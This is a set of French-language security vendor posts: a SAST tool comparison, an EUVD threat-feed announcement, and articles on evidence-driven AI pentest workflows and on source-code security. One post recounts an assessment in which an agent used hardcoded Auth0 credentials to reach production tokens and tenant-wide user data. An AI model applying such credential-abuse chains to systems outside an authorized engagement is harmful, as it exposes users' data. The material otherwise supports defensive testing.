Plan gratuit pour démarrer.

Points d'attention

Conçu pour des workflows centrés sur les développeurs.
Les équipes aux exigences fortes de gouvernance ou on-premises préféreront peut-être des plateformes d'entreprise.

Tarifs : plan gratuit ; Team à partir de 25 $ par mois ; Enterprise sur devis.

Checkmarx One

Checkmarx One est une plateforme SAST d'entreprise pour les équipes AppSec qui ont besoin d'une large couverture de langages, d'une gouvernance centralisée et de rapports d'audit.

Cas d'usage idéal : les grandes entreprises dotées de programmes AppSec et de conformité matures.

Checkmarx One combine le SAST avec la SCA, les secrets, l'IaC et la sécurité des conteneurs et des API, et couvre un large éventail de langages, dont des langages historiques comme COBOL et PL/SQL. Developer Assist apporte les résultats et les correctifs dans les outils du développeur. Checkmarx vend toujours CxSAST pour un usage on-premises, avec le moteur traditionnel à base de règles.

Points forts

Large couverture de langages, y compris historiques.
Gouvernance, politiques et rapports d'audit.
Tri et remédiation assistés par IA.

Points d'attention

Convient surtout aux organisations dotées d'une équipe AppSec dédiée.
Le moteur d'IA se trouve dans le produit cloud ; CxSAST on-premises est à base de règles.

Tarifs : sur devis.

SonarQube

SonarQube est un outil SAST pour les équipes qui veulent des contrôles de sécurité au sein de leurs portes de qualité du code, avec une édition Server auto-hébergée et une édition Cloud en SaaS.

Cas d'usage idéal : les équipes qui veulent la sécurité dans le même outil que la qualité du code.

SonarQube couvre 35+ langages pour l'analyse de sécurité et 40+ au total. AI CodeFix suggère des correctifs en un clic pour un ensemble de règles en Java, JavaScript, TypeScript, Python, C# et C++. SonarQube Cloud est un SaaS ; SonarQube Server est auto-géré ; la Community Build gratuite n'inclut pas le SAST avec analyse de taint.

Points forts

Qualité du code et sécurité dans une seule porte de qualité.
Auto-hébergé ou SaaS.
Offres gratuites pour Cloud comme pour Server.

Points d'attention

La sécurité n'est qu'une composante d'une plateforme plus large de qualité du code.
L'analyse de taint et AI CodeFix sont dans les éditions payantes.

Tarifs : Cloud offre gratuite, Team à partir de 34 $ par mois ; Server facturé par instance selon les lignes de code.

Veracode

Veracode est une plateforme SAST d'entreprise pour les organisations qui ont besoin d'un scan du code source et des binaires sur plus de 100 langages et frameworks, avec une gouvernance solide.

Cas d'usage idéal : les grandes organisations qui ont besoin d'une large couverture de langages et de binaires avec une gouvernance solide.

Veracode Static Analysis couvre plus de 100 langages et frameworks et peut scanner les binaires comme le code source. Veracode Fix génère des correctifs pour le code propriétaire et les dépendances open source, avec des pull requests dans l'IDE, la CLI et le pipeline CI/CD. Veracode annonce un taux de faux positifs inférieur à 1,1 %.

Points forts

Couverture très large des langages, des frameworks et des binaires.
Gouvernance et reporting pour les grands programmes.
Remédiation assistée par IA.

Points d'attention

Conçu pour des organisations dotées de programmes AppSec matures.
Peut dépasser les besoins des petites équipes de développement.

Tarifs : sur devis.

Black Duck Coverity

Black Duck Coverity est un outil SAST pour les grandes bases de code natives, en particulier C et C++, qui peut fonctionner entièrement on-premises, y compris en environnement isolé (air-gapped).

Cas d'usage idéal : les organisations qui développent de grandes applications natives, en particulier en C et C++.

Coverity prend en charge 21 à 22 langages et 200+ frameworks, dont C/C++, CUDA et Fortran. Il fonctionne on-premises, y compris en environnement air-gapped et sur Kubernetes, tandis que Polaris est l'option SaaS. Polaris Assist résume les résultats et recommande des correctifs de code.

Points forts

Analyse approfondie du code natif.
Entièrement on-premises, y compris en environnement air-gapped.
Coverity Scan gratuit pour les projets open source.

Points d'attention

Plus performant sur les bases de code natives.
Les équipes cloud-native préféreront peut-être des outils conçus autour des workflows de développeurs.

Tarifs : sur devis.

OpenText Fortify

OpenText Fortify est une plateforme SAST d'entreprise pour les programmes AppSec établis qui ont besoin d'un choix entre un déploiement SaaS, hébergé en privé ou entièrement on-premises.

Cas d'usage idéal : les entreprises dotées de programmes de sécurité applicative établis.

Fortify Static Code Analyzer prend en charge 44+ langages et 350+ frameworks. Il est disponible en SaaS, hébergé en privé ou entièrement on-premises. Fortify Remediation Aviator audite les résultats SAST, supprime les faux positifs probables et suggère des correctifs de code.

Points forts

Plateforme AppSec d'entreprise mature.
Choix entre SaaS, hébergé en privé ou on-premises.
Audit et correctifs assistés par IA.

Points d'attention

Convient surtout aux organisations dotées d'équipes AppSec dédiées.
Plus de configuration et d'administration que les outils légers pour développeurs.

Tarifs : sur devis.

Meilleures alternatives à Snyk Code et Checkmarx

Les principales alternatives à Snyk Code sont Ostorlab, GitHub Advanced Security (CodeQL), Checkmarx One, Semgrep et SonarQube. Les principales alternatives à Checkmarx One sont Ostorlab, Snyk Code, GitHub Advanced Security, Veracode et OpenText Fortify. Pour une comparaison côte à côte, consultez Alternatives à Snyk et Checkmarx : Ostorlab face à Snyk Code, Checkmarx One et GitHub Advanced Security.

Foire aux questions

Quels sont les meilleurs outils SAST en 2026 ?

Les meilleurs outils SAST en 2026 sont Ostorlab, GitHub Code Security (CodeQL), Semgrep, Snyk Code, Checkmarx One, SonarQube, Veracode, Black Duck Coverity et OpenText Fortify. Ostorlab convient aux équipes qui veulent des vulnérabilités dont l'exploitabilité est prouvée, GitHub Code Security aux équipes sur GitHub, Semgrep aux équipes qui écrivent des règles personnalisées, Snyk Code aux développeurs dans l'éditeur de code, et Checkmarx One, Veracode et OpenText Fortify aux entreprises dotées de programmes AppSec matures.

Ostorlab est-il un outil SAST ?

Oui. Ostorlab scanne le code source à la recherche de vulnérabilités comme un outil SAST, en utilisant un agent IA au lieu d'un jeu de règles figé. Il teste aussi les applications web, les API et les applications mobiles, et peut donc confirmer une vulnérabilité du code par un exploit fonctionnel contre l'application en cours d'exécution.

Quelle est la différence entre SAST, SCA et analyse de code source ?

Le SAST (test statique de sécurité des applications) analyse votre propre code source à la recherche de vulnérabilités. La SCA (analyse de la composition logicielle) vérifie les vulnérabilités connues des dépendances open source. Les plateformes d'analyse de code source combinent généralement SAST, SCA et détection de secrets ; certaines, comme Ostorlab, testent aussi l'application en cours d'exécution.

Quel outil SAST a le moins de faux positifs ?

Les éditeurs mesurent les faux positifs de façons différentes ; leurs taux publiés ne peuvent donc pas être comparés directement. Veracode annonce un taux inférieur à 1,1 % et Semgrep annonce que son tri par IA repère les faux positifs avec plus de 95 % de précision. Ostorlab réduit le bruit autrement : lorsque l'application en cours d'exécution est dans le périmètre, son agent confirme chaque vulnérabilité par un exploit fonctionnel. Le test le plus équitable consiste à exécuter deux outils sur la même base de code.

Quel est le meilleur outil SAST pour GitHub ?

GitHub Code Security (CodeQL) est le choix le plus intégré pour le code sur GitHub. Ostorlab, Semgrep, Snyk Code, Checkmarx One et SonarQube scannent aussi les dépôts GitHub et rapportent leurs résultats sur la pull request.

Existe-t-il des outils SAST gratuits ?

Oui. Semgrep propose une Community Edition open source et une offre gratuite jusqu'à 10 contributeurs, SonarQube propose une Community Build gratuite et une offre Cloud gratuite, Snyk Code propose un plan gratuit, et Black Duck offre Coverity Scan gratuitement aux projets open source.

Quelles sont les meilleures alternatives à Snyk Code et Checkmarx ?

Comment vérifier qu'un correctif SAST a fonctionné ?

Relancez un scan du code après le correctif. Dans Ostorlab, chaque vulnérabilité est suivie dans un ticket : lorsque le ticket est marqué comme corrigé, les scans suivants le vérifient, le marquent comme vérifié si le problème a disparu et le rouvrent s'il réapparaît.

Sources

Consultées le 7 octobre 2026.

Ostorlab : Analyse de code source, Scan multi-actifs, Analyse de code source on-premises, Plans, Comprendre les résultats de scan et le suivi des correctifs
GitHub : Plans GitHub Security, À propos de l'analyse de code avec CodeQL
Semgrep : Langages pris en charge, Semgrep Multimodal, Ajouter Semgrep à la CI, Tarifs
Snyk : Langages pris en charge, Plugins pour IDE, Plans
Checkmarx : Checkmarx One, Langages pris en charge par le SAST, CxSAST
SonarQube : SonarQube, Sécurité, AI CodeFix, Plans et tarifs
Veracode : Static Analysis, Veracode Fix, Taux de faux positifs, Intégrations CI/CD
Black Duck : Coverity, Langages et frameworks, Polaris Assist
OpenText : Fortify Static Code Analyzer, Options de déploiement SAST, Fortify Remediation Aviator

Essayez-le sur votre propre code

La meilleure façon de comparer les outils SAST est de les exécuter sur la même base de code. Lancez un scan de code source et comparez les résultats avec l'outil que vous utilisez aujourd'hui, ou comparez Ostorlab avec votre outil actuel sur la même application.

Le Threat Center d'Ostorlab prend désormais en charge la base de données européenne des vulnérabilités

2026-07-24T09:09:00+02:00

Une base de données de vulnérabilités est utile jusqu'au moment où l'information dont vous avez besoin se trouve ailleurs. Le statut d'exploitation peut provenir d'une source, les recommandations de remédiation de l'éditeur d'une autre, et une divulgation coordonnée d'une troisième.

Le défi n'est pas de trouver davantage de flux. Il s'agit de rassembler le contexte utile en un seul endroit.

L'Ostorlab Threat Center ingère désormais les données de l'European Vulnerability Database (EUVD) en complément de la National Vulnerability Database (NVD) américaine. Cela élargit le renseignement dont disposent les équipes qui surveillent les nouvelles vulnérabilités et décident lesquelles nécessitent une action.

Ce qu'apporte l'EUVD

Développée et maintenue par l'ENISA, l'EUVD agrège des informations sur les vulnérabilités affectant les produits et services TIC. Les fiches peuvent inclure les produits et versions concernés, la sévérité, le statut d'exploitation, les correctifs disponibles et des recommandations d'atténuation. La base met également en avant les vulnérabilités critiques, activement exploitées et coordonnées au niveau de l'UE.

La NVD reste une source importante de données de vulnérabilités standardisées. L'EUVD la complète avec des renseignements et des recommandations issus de l'écosystème européen des vulnérabilités. Ensemble, ces deux sources offrent aux utilisateurs de Threat Center une vue plus large des risques nouvellement divulgués et activement exploités.

Pourquoi c'est important pour le Cyber Resilience Act

Le calendrier est déterminant. Dans le cadre du Cyber Resilience Act (CRA) de l'UE, les fabricants de produits comportant des éléments numériques doivent maintenir des processus de gestion des vulnérabilités pendant toute la période de support du produit.

À partir du 11 septembre 2026, les fabricants devront également signaler les vulnérabilités activement exploitées et les incidents de sécurité graves. Une alerte précoce est exigée dans les 24 heures suivant la prise de connaissance, suivie d'une notification plus complète dans les 72 heures.

Respecter ces délais commence avant le dépôt d'un signalement. Les équipes doivent savoir qu'une vulnérabilité pertinente existe, déterminer si leurs produits sont affectés, et prioriser l'investigation et la remédiation.

Du renseignement à l'action

Threat Center intègre ces informations dans le workflow que les équipes utilisent déjà pour surveiller leur exposition. Elles peuvent examiner une vulnérabilité, identifier les actifs potentiellement affectés et lancer des scans ciblés pour valider si le risque est présent dans leur environnement.

La prise en charge de l'EUVD ne rend pas à elle seule une organisation conforme au CRA. Elle renforce l'un des fondements dont dépend la conformité : une surveillance des vulnérabilités fiable et en temps utile, reliée à des actifs réels et à des actions de suivi claires.

Ouvrez l'Ostorlab Threat Center pour consulter les vulnérabilités actuelles et valider votre exposition.

Des prompts de pentest par IA qui produisent des preuves, pas seulement des résultats

2026-07-23T16:00:00+02:00

Vous demandez au modèle de trouver une vulnérabilité

Imaginez qu'une nouvelle API atterrisse sur votre bureau. Elle contient des dizaines de routes, des middlewares inconnus et assez de code pour occuper un relecteur pendant des jours.

Prompt donné au modèle : « Passe en revue ce dépôt et trouve les vulnérabilités de sécurité. »

Quelques instants plus tard, la réponse arrive. Elle mentionne une injection SQL, des secrets codés en dur, des contrôles d'autorisation manquants et une désérialisation non sécurisée. Elle est organisée, assurée et mise en forme comme un rapport de sécurité.

Point de décision : l'enverriez-vous à l'équipe d'ingénierie ?

Pas encore. Déterminez d'abord ce que le modèle a réellement testé. Peut-être qu'aucun endpoint n'a été suivi de la requête jusqu'à la base de données. Aucune entrée n'a atteint un sink dangereux. Aucune décision d'autorisation n'a été exercée. Aucune condition d'exploitabilité n'a été vérifiée. Le résultat peut contenir des hypothèses utiles, mais une hypothèse n'est pas encore un résultat.

C'est ici que le test de sécurité assisté par l'IA devient utile ou devient du bruit. Le défi n'est pas de faire parler un modèle comme un pentesteur. Il est de passer d'une demande large à une question précise, de cette question à des preuves, et des preuves à un résultat qu'un autre ingénieur peut reproduire.

Reconstruisons le test une décision à la fois.

D'abord, choisissez une seule question qui vaut la peine d'être traitée

Parmi les pistes générées figure un possible problème d'autorisation sur GET /v1/invoices/{id}.

Affirmation initiale : « L'endpoint peut exposer des factures appartenant à d'autres utilisateurs. »

Preuves nécessaires : identifier le propriétaire de la ressource, localiser le contrôle d'autorisation, comprendre l'accès de l'attaquant et observer ce qui se passe lorsqu'un utilisateur authentifié demande la facture d'un autre compte.

Objectif du test : déterminer si un utilisateur authentifié peut récupérer une facture appartenant à un autre compte via GET /v1/invoices/{id}.

La cible est devenue plus petite, mais l'investigation est devenue plus profonde. Elle dispose désormais d'une interface, d'une frontière de propriété, d'une capacité d'attaquant et d'une condition de réussite.

Le même changement fonctionne dans tous les domaines de la sécurité :

Demande large	Question à laquelle le workflow peut répondre
Vérifier les intents Android	Pour l'activité exportée `ShareActivity`, un extra contrôlé par l'attaquant peut-il atteindre un composant privilégié sans validation ?
Chercher des injections	Le paramètre de requête `sort` peut-il atteindre une opération de requête dynamique sans traitement sûr ?
Trouver des secrets stockés	La valeur sensible suspectée est-elle écrite dans le stockage de l'application, et peut-elle être récupérée selon le modèle d'attaquant décrit ?

C'est l'isolation contextuelle en pratique. Au lieu de déverser un dépôt entier dans le modèle, fournissez la définition de la route, le middleware concerné, le handler, le code d'accès aux données, les tests et les preuves observées de requête ou de réponse.

Le modèle dispose maintenant de moins de matière pour s'égarer et d'une question claire à traiter.

Ensuite, décidez de ce qui comptera comme preuve

Supposons que le modèle lise le handler des factures et renvoie :

Affirmation initiale : « L'endpoint est vulnérable à une IDOR parce qu'il récupère une facture par son ID. »

Verdict : pas encore. Récupérer un objet par son ID est un comportement normal d'une application. La question décisive est de savoir si la propriété ou une autre politique d'autorisation est appliquée avant le renvoi de la réponse. Ce contrôle peut exister dans un middleware, une couche de service, une requête de base de données ou une fonction de politique située en dehors du code visible.

Avant de demander une conclusion, donnez à la tâche un contrat de preuves. Exigez que le workflow renvoie le chemin de code inspecté, la capacité de l'attaquant, le contrôle d'autorisation attendu, la requête et la réponse de validation, ainsi qu'un statut parmi confirmed, needs_validation ou not_reproduced.

Une sortie structurée ne rend pas une affirmation vraie. Elle rend visible l'absence de preuve.

task:
  id: api-object-authorization-001
  vulnerability_class: broken_object_level_authorization
  target:
    method: GET
    path: /v1/invoices/{id}
    owner_boundary: account_id
  objective: >
    Determine whether an authenticated user can retrieve an invoice that belongs
    to a different account.
  permitted_actions:
    - Read source files listed in context.
    - Inspect supplied test traffic and test fixtures.
    - Generate a test request only against the approved staging target.
  required_evidence:
    - Authorization check location or its absence.
    - Request and response identifiers for the cross-account test.
    - Expected versus observed authorization result.
  output_rules:
    - Do not report a confirmed vulnerability without runtime or test evidence.
    - Return needs_validation when execution is unavailable.
    - Cite every conclusion with an evidence reference.

Le contrat introduit une règle qui doit survivre à chaque révision du prompt :

Pas de preuve, pas de confirmation.

Puis, laissez chaque résultat choisir l'étape suivante

Le modèle suit la route. Il trouve un middleware d'authentification et une requête de base de données qui charge une facture à partir de son identifiant. Il ne trouve toujours aucune condition de propriété.

Décision suivante : ne générez pas une nouvelle explication. Choisissez le prochain test capable de réduire l'incertitude. Le workflow a besoin d'une boucle contrôlée :

Planifier : identifier la plus petite question qui réduirait l'incertitude.
Collecter : récupérer le code source, la fixture, le trafic ou la sortie d'outil approuvée pertinents.
Analyser : relier les preuves au contrôle de sécurité examiné.
Valider : rejouer une requête, exécuter un test sûr, inspecter une trace ou demander une revue humaine.
Décider : confirmer le résultat, affiner l'hypothèse ou s'arrêter.

Pour l'endpoint des factures, utilisez deux comptes de préproduction contrôlés par le testeur. Laissez le compte A créer une facture contenant un marqueur unique et non sensible. Confirmez d'abord que le compte A peut la récupérer via l'endpoint testé. Authentifiez-vous ensuite en tant que compte B et demandez le même identifiant.

Question de validation : quel résultat prouverait le problème ?

Si le compte B reçoit le marqueur unique du compte A, le test démontre un accès inter-comptes, mais seulement si les factures sont privées et que les comptes n'ont aucune relation de partage. Un refus montre que le chemin testé a appliqué la frontière dans ce cas. Si la référence manque, si la réponse n'est pas claire, si le partage est intentionnel ou si l'environnement de test est indisponible, le résultat reste needs_validation.

La trace du code source et la réponse à l'exécution répondent à des questions différentes. La première montre où le contrôle semble manquer. La seconde montre comment le système en fonctionnement se comporte. Un workflow fiable conserve les deux éléments et ne substitue jamais l'un à l'autre.

Chaque boucle doit modifier l'état de l'investigation. Si elle ne produit qu'une nouvelle version du même soupçon, le système génère du langage au lieu de tester la cible.

Appliquons maintenant la même méthode à d'autres questions de sécurité

Le cas des factures nous donne un chemin complet, mais un workflow de pentest par IA ne peut pas être conçu autour de la seule autorisation. Appliquons le même raisonnement à trois autres investigations.

Un intent Android n'est que le début

Le modèle trouve une activité Android exportée nommée ShareActivity. Il voit aussi un extra d'intent entrant et un appel à startActivity.

Point de décision : cela suffit-il pour signaler une redirection d'intent ?

Non. Le workflow doit encore relier les éléments. Il doit confirmer que le composant est atteignable de l'extérieur, identifier les extras que contrôle un attaquant, suivre ces valeurs jusqu'à startActivity, startService ou sendBroadcast, et inspecter toute validation ou restriction de composant appliquée avant l'appel.

L'étape suivante est un test contrôlé à l'exécution depuis une application distincte. Pour confirmer une redirection d'intent, l'entrée fabriquée doit amener l'application victime à effectuer une action que l'application de test ne pourrait pas invoquer directement. Par exemple, elle pourrait atteindre un composant interne non exporté ou une opération protégée.

Ouvrir une autre activité exportée ne prouve pas un contournement de sécurité. Si l'activité d'entrée n'est pas exportée, si l'intent imbriqué est restreint ou si aucun effet protégé ne se produit, affinez l'affirmation ou marquez-la not_reproduced.

L'API dangereuse était une piste. L'atteignabilité, le contrôle par l'attaquant et le comportement observé déterminent si elle devient un résultat.

Un paramètre de requête n'est pas automatiquement une injection

Ensuite, le modèle remarque que le paramètre de requête sort atteint une fonction de construction de requête. Il qualifie ce chemin d'« injection SQL possible ».

Question suivante : la valeur devient-elle une partie de la commande SQL, ou reste-t-elle une donnée ? Une liste d'autorisation qui associe name ou created_at à des noms de colonnes fixes change la conclusion. Insérer directement la valeur dans la requête justifierait un test de validation sûr dans l'environnement approuvé.

Le workflow suit la valeur du handler HTTP jusqu'au constructeur de requête et consigne toute validation ou transformation. Il exécute ensuite des tests appariés et non destructifs sur des données appartenant au testeur. Pour confirmer une injection, une entrée contrôlée par l'attaquant doit modifier le comportement de la requête alors que la requête de référence reste stable. Une erreur de base de données seule ne suffit pas : une entrée mal formée peut provoquer une erreur sans permettre une injection. Une concaténation de chaînes sans entrée atteignable par l'attaquant reste une preuve statique, et non une exploitation démontrée.

Une valeur sensible doit réellement atteindre le stockage

Enfin, le modèle trouve du code qui écrit des valeurs dans les shared preferences, une base de données locale ou un cache. Il signale un « stockage non sécurisé de données sensibles ».

Preuve manquante : le workflow doit identifier la valeur. Une API de stockage ne prouve pas que des mots de passe, des jetons, des données personnelles ou du matériel cryptographique y sont écrits. Il doit ensuite suivre le chemin d'écriture ou exercer le flux applicatif concerné, et inspecter le stockage obtenu selon le modèle d'attaquant décrit.

Si une valeur sensible appartenant au testeur apparaît sur le disque, consignez son emplacement, les étapes de sa création, sa protection et les conditions de sa récupération. Précisez également si l'extraction a nécessité un build débogable, run-as, un accès aux sauvegardes, le root, un accès physique ou une instrumentation à l'exécution.

Des données récupérées dans un stockage privé uniquement après avoir obtenu l'accès root ne soutiennent pas la même affirmation de risque que des données exposées dans un stockage lisible de l'extérieur. Si les preuves ne montrent qu'un helper de stockage générique, l'affirmation reste une hypothèse.

Ces exemples utilisent des outils et des preuves différents, mais suivent la même progression : affiner la question, suivre le contrôle par l'attaquant, identifier le contrôle attendu, tester en toute sécurité et conserver le résultat observé.

Une piste devient un résultat au point de validation

Le compte A récupère avec succès sa facture marquée. Le compte B, sans relation de partage, récupère ensuite le même marqueur privé via le même endpoint. Le workflow consigne les deux identités, la référence de propriété, les requêtes, les réponses, le chemin de code et la divulgation inter-comptes observée.

Ce n'est que maintenant que la piste peut devenir un résultat confirmé.

Des affirmations différentes exigent des points de validation différents :

Affirmation	Ce que le workflow doit démontrer
Une valeur sensible est stockée localement	Récupérer une valeur appartenant au testeur depuis l'emplacement de stockage indiqué et documenter les prérequis d'accès.
L'endpoint n'a pas d'autorisation au niveau des objets	Établir l'accès du propriétaire, puis démontrer l'accès d'un second principal contrôlé par le testeur, sans relation de partage.
Une entrée utilisateur atteint un sink dangereux	Suivre le contrôle par l'attaquant et utiliser des tests appariés et sûrs pour démontrer le comportement du sink pertinent pour la sécurité.
Exécution de code à distance	Produire un marqueur d'exécution unique et inoffensif dans un environnement autorisé ; un simple crash ne suffit pas.

Une API suspecte, un contrôle qui semble manquer, un endpoint inhabituel ou une fonction dangereuse peuvent guider le prochain test. Aucun n'est automatiquement une vulnérabilité digne d'un rapport.

Si la validation est indisponible : dites-le. Needs_validation est plus utile qu'un faux positif assuré, car il indique au relecteur ce qui reste inconnu.

Avant de donner des outils au modèle, fixez les limites

L'investigation fonctionne, et la tentation est donc de donner au modèle plus d'accès : plus d'outils, plus de cibles, peut-être des identifiants de production.

Question de sécurité : quelle est l'action la plus dommageable que ce workflow pourrait entreprendre s'il avait mal compris la tâche ou suivi un contenu malveillant ?

« Soyez prudent » n'est pas une frontière de sécurité. La couche d'exécution doit imposer un accès en lecture seule au code source, des cibles sur liste d'autorisation, des identités synthétiques, des limites de débit, des environnements de préproduction approuvés et une approbation humaine avant toute action modifiant l'état.

Les fichiers du dépôt, les tickets, les pages web, les journaux et les réponses de la cible sont des entrées non fiables. Ils peuvent contenir des instructions destinées à détourner un système d'IA. L'injection de prompt et l'autonomie excessive sont donc des risques de conception du système, et non des problèmes résolus par une formulation astucieuse.

Le modèle peut proposer une action. C'est la couche d'exécution qui décide si elle est permise.

Un test réussi n'est toujours qu'un seul test

Question de fiabilité : une seule investigation réussie sur les factures prouve-t-elle que l'architecture du prompt est fiable ?

Non. Elle prouve seulement qu'un workflow a traité un cas.

Constituez un jeu d'évaluation à partir de vulnérabilités confirmées, de faux positifs connus, de composants sains et de cas incomplets où le résultat correct est needs_validation. Exécutez ces cas chaque fois que le modèle, le prompt, l'outil, la règle de sélection du contexte ou le schéma de sortie change.

Demandez ensuite :

A-t-il identifié le problème connu ?
A-t-il joint les bonnes preuves ?
A-t-il rejeté le faux positif connu ?
S'est-il arrêté lorsque la preuve à l'exécution n'était pas disponible ?
Un relecteur pouvait-il reproduire la conclusion ?

Cela transforme la modification des prompts en ingénierie. Une modification mérite sa place en améliorant un résultat mesuré, et non en produisant une prose plus persuasive.

À quoi feriez-vous confiance maintenant ?

Revenez à la première réponse : une liste soignée de vulnérabilités possibles, générée à partir d'une revue large du dépôt.

Comparez-la maintenant à l'investigation sur les factures. Le second résultat dispose d'une cible délimitée, d'un modèle d'attaquant, d'une trace de code, de deux identités contrôlées, d'une requête et d'une réponse capturées, d'une défaillance d'autorisation observée et d'un statut ayant franchi un point de validation défini.

Décision finale : quel résultat enverriez-vous à l'équipe d'ingénierie ?

L'IA peut aider les équipes de sécurité à naviguer dans de grandes bases de code, à organiser les preuves, à générer des plans de test ciblés et à décider quoi inspecter ensuite. Elle ne supprime pas le besoin d'une cible, d'un test, d'un contrôle ou d'un relecteur.

L'objectif n'est pas une liste plus longue de vulnérabilités possibles. C'est un chemin court et défendable à travers la cible :

Périmètre → question → preuve → test → résultat observé → conclusion.

C'est la différence entre un modèle capable de décrire le test de sécurité et un workflow qui laisse derrière lui quelque chose qu'un autre ingénieur peut rejouer, contester, corriger et vérifier.

Références

Quand un scanner par IA devient-il un pentest par IA ?

2026-07-22T17:50:00+02:00

Un scanner piloté par l'IA est souvent présenté comme un pentest par IA. La logique est facile à suivre : s'il utilise l'IA pour détecter des vulnérabilités, expliquer le risque et recommander un correctif, que serait-il d'autre ?

Mais cela confond une meilleure analyse d'une vulnérabilité avec une façon différente de tester une application.

Un scanner par IA devient un pentest par IA lorsque le résultat d'un test détermine ce qu'il va investiguer ensuite.

La différence devient claire après la première découverte.

Imaginez qu'un scanner découvre un identifiant codé en dur dans une application iOS. Il identifie le secret, lui attribue une sévérité et l'ajoute au rapport. C'est utile, mais la question la plus importante reste sans réponse : cet identifiant fonctionne-t-il ?

Lors d'une évaluation par Deep Agentic Scan, l'agent a testé des identifiants machine-à-machine Auth0 codés en dur au lieu de les signaler immédiatement.

Ils ont fonctionné et ont permis d'émettre des JWT de production. Cela confirmait que l'identifiant était actif, mais soulevait une question plus intéressante : à quoi ce jeton pouvait-il accéder ?

L'agent a inspecté ses scopes, son audience et ses informations de signature. Cela a révélé que les mêmes identifiants pouvaient s'authentifier auprès de l'Auth0 Management API.

L'API les a acceptés, mais cette réponse a ouvert une autre question : quelles permissions cet accès offrait-il ?

Des tests supplémentaires ont révélé des capacités administratives et un accès à des informations utilisateur sensibles sur l'ensemble du tenant. L'investigation était passée d'une simple chaîne suspecte à un chemin d'attaque démontré :

Identifiant codé en dur → JWT de production → Management API → données utilisateur à l'échelle du tenant

Un scanner classique aurait pu trouver la première étape. La valeur du pentest par IA vient du fait de laisser chaque résultat façonner le test suivant.

La découverte n'est pas la ligne d'arrivée

C'est ce qui distingue le test d'intrusion par IA du simple ajout d'IA à un scanner. Deep Agentic Scan étudie l'application, formule une hypothèse, sélectionne un outil de sécurité, observe le résultat, et utilise ce résultat pour décider ce qui mérite d'être investigué ensuite.

Il traite aussi les signaux suspects comme des hypothèses plutôt que comme des vulnérabilités confirmées. Lorsque c'est sûr et possible, Deep Agentic Scan valide les vulnérabilités avant de les signaler et appuie sa conclusion sur des preuves telles que les requêtes et réponses, des captures d'écran, des étapes de reproduction et le chemin d'attaque démontré. Ce processus centré sur l'exploitabilité est conçu pour réduire les faux positifs et maintenir des rapports à faible bruit, sans prétendre que les faux positifs ne peuvent jamais se produire.

Le même raisonnement s'applique lorsqu'une attaque traverse plusieurs composants. Un identifiant trouvé dans une application mobile peut déverrouiller une API, qui peut à son tour émettre un jeton approuvé par un autre service. Plutôt que de traiter chaque faiblesse comme une alerte isolée, Deep Agentic Scan peut préserver la relation entre elles et montrer l'impact qui en résulte.

Cette approche d'investigation peut s'appliquer aux applications web et API ainsi qu'aux applications Android et iOS, y compris les flux authentifiés pris en charge et les composants connectés.

Qu'en est-il des testeurs d'intrusion humains ?

Le pentest par IA ne supprime pas le besoin de testeurs humains. Les personnes apportent toujours le contexte métier, le jugement créatif et la capacité d'investiguer des situations inhabituelles en dehors d'un périmètre automatisé.

Ce qui change, c'est la part du processus d'investigation qui peut être reproduite. Une solution de test d'intrusion par IA peut suivre des pistes, valider des comportements suspects, documenter les preuves et retester les correctifs, laissant les experts humains se concentrer sur les décisions qui nécessitent un contexte plus approfondi.

Cela donne aux responsables de la sécurité un meilleur moyen d'évaluer les outils de pentest par IA. Plutôt que de se demander seulement si un produit utilise l'IA, il faut se demander si la réponse de la cible peut changer le plan du système.

Le produit d'Ostorlab reste Deep Agentic Scan. Le pentest par IA décrit la méthodologie qui le sous-tend.

C'est à ce moment-là qu'un scanner par IA devient un pentest par IA : non pas lorsque l'IA améliore le rapport, mais lorsque chaque réponse change l'investigation.

Sécurité du code source : du signal au risque validé | Ostorlab

2026-07-16T12:13:00+02:00

Un scanner trouve une fonction dangereuse dans un dépôt.

C'est un signal.

Ce n'est pas encore la preuve qu'un attaquant peut l'atteindre, que des données non fiables y circulent, ou qu'un autre contrôle ne rend pas le chemin sûr. Ces questions déterminent si le code représente une véritable vulnérabilité, et si un développeur doit tout arrêter pour la corriger.

C'est le problème au cœur du test de sécurité du code source.

Trouver du code suspect est devenu facile. Le plus difficile est de séparer les vulnérabilités du bruit, d'expliquer le risque en contexte et de donner aux développeurs un correctif qu'ils peuvent réellement utiliser.

Qu'est-ce que le test de sécurité du code source ?

Le test de sécurité du code source examine le code d'une application à la recherche de faiblesses avant qu'elles n'atteignent la production. Il peut inclure le test statique de sécurité des applications (SAST), la détection de secrets, l'analyse des dépendances, la revue manuelle de code sécurisé et l'investigation assistée par l'IA.

Le NIST définit un analyseur de sécurité du code source comme un outil qui examine le code source et signale les faiblesses pouvant conduire à des vulnérabilités de sécurité. La distinction est importante : une faiblesse suspecte peut mener à une vulnérabilité, mais les deux ne sont pas automatiquement équivalentes.

Un bon processus de sécurité du code source doit répondre à quatre questions :

Où se trouve la faiblesse ?
Peut-elle être atteinte ou exploitée dans cette application ?
Quel impact pourrait-elle avoir ?
Quelle modification la corrigerait en toute sécurité ?

Si un outil ne répond qu'à la première question, il a trouvé du travail pour l'équipe sécurité, pas nécessairement une vulnérabilité.

La vulnérabilité peut exister avant l'exécution de l'application

Les problèmes de sécurité n'attendent pas un environnement de production.

Un secret peut déjà être codé en dur dans un fichier de configuration. Une dépendance vulnérable peut déjà être épinglée dans un manifeste. Une entrée contrôlée par l'utilisateur peut déjà atteindre une requête non sécurisée. Un contrôle d'autorisation peut déjà manquer sur une opération sensible.

Rien de tout cela n'a besoin d'une URL publique, d'un compte de test ou d'une application en cours d'exécution pour être vrai.

Le test du code source permet de détecter ces faiblesses tant que la modification concernée est encore fraîche. Les résultats peuvent pointer directement vers le fichier, la fonction et le chemin de code concernés, et le retour peut parvenir au développeur avant que le code ne devienne une infrastructure partagée et un risque de production.

C'est tout l'intérêt de tester tôt. Mais la détection précoce n'aide que si l'on peut se fier au résultat.

Comment le SAST traditionnel trouve les vulnérabilités

Le test statique de sécurité des applications analyse le code sans exécuter l'application. Selon le moteur, il peut :

décomposer le code en tokens ou en arbre syntaxique abstrait ;
identifier les entrées, les fonctions sensibles et les schémas non sécurisés connus ;
suivre les flux de données et de contrôle entre les fonctions ;
reconnaître les mécanismes d'assainissement et les contrôles de sécurité ;
appliquer des règles ou des requêtes associées à des classes de vulnérabilités ;
signaler le problème suspecté et le chemin qui l'a produit.

Prenons une injection SQL possible. Trouver une requête de base de données ne suffit pas. Le scanner doit déterminer si une entrée contrôlée par l'attaquant peut l'atteindre, si cette entrée est paramétrée ou assainie, et si le chemin est possible en pratique.

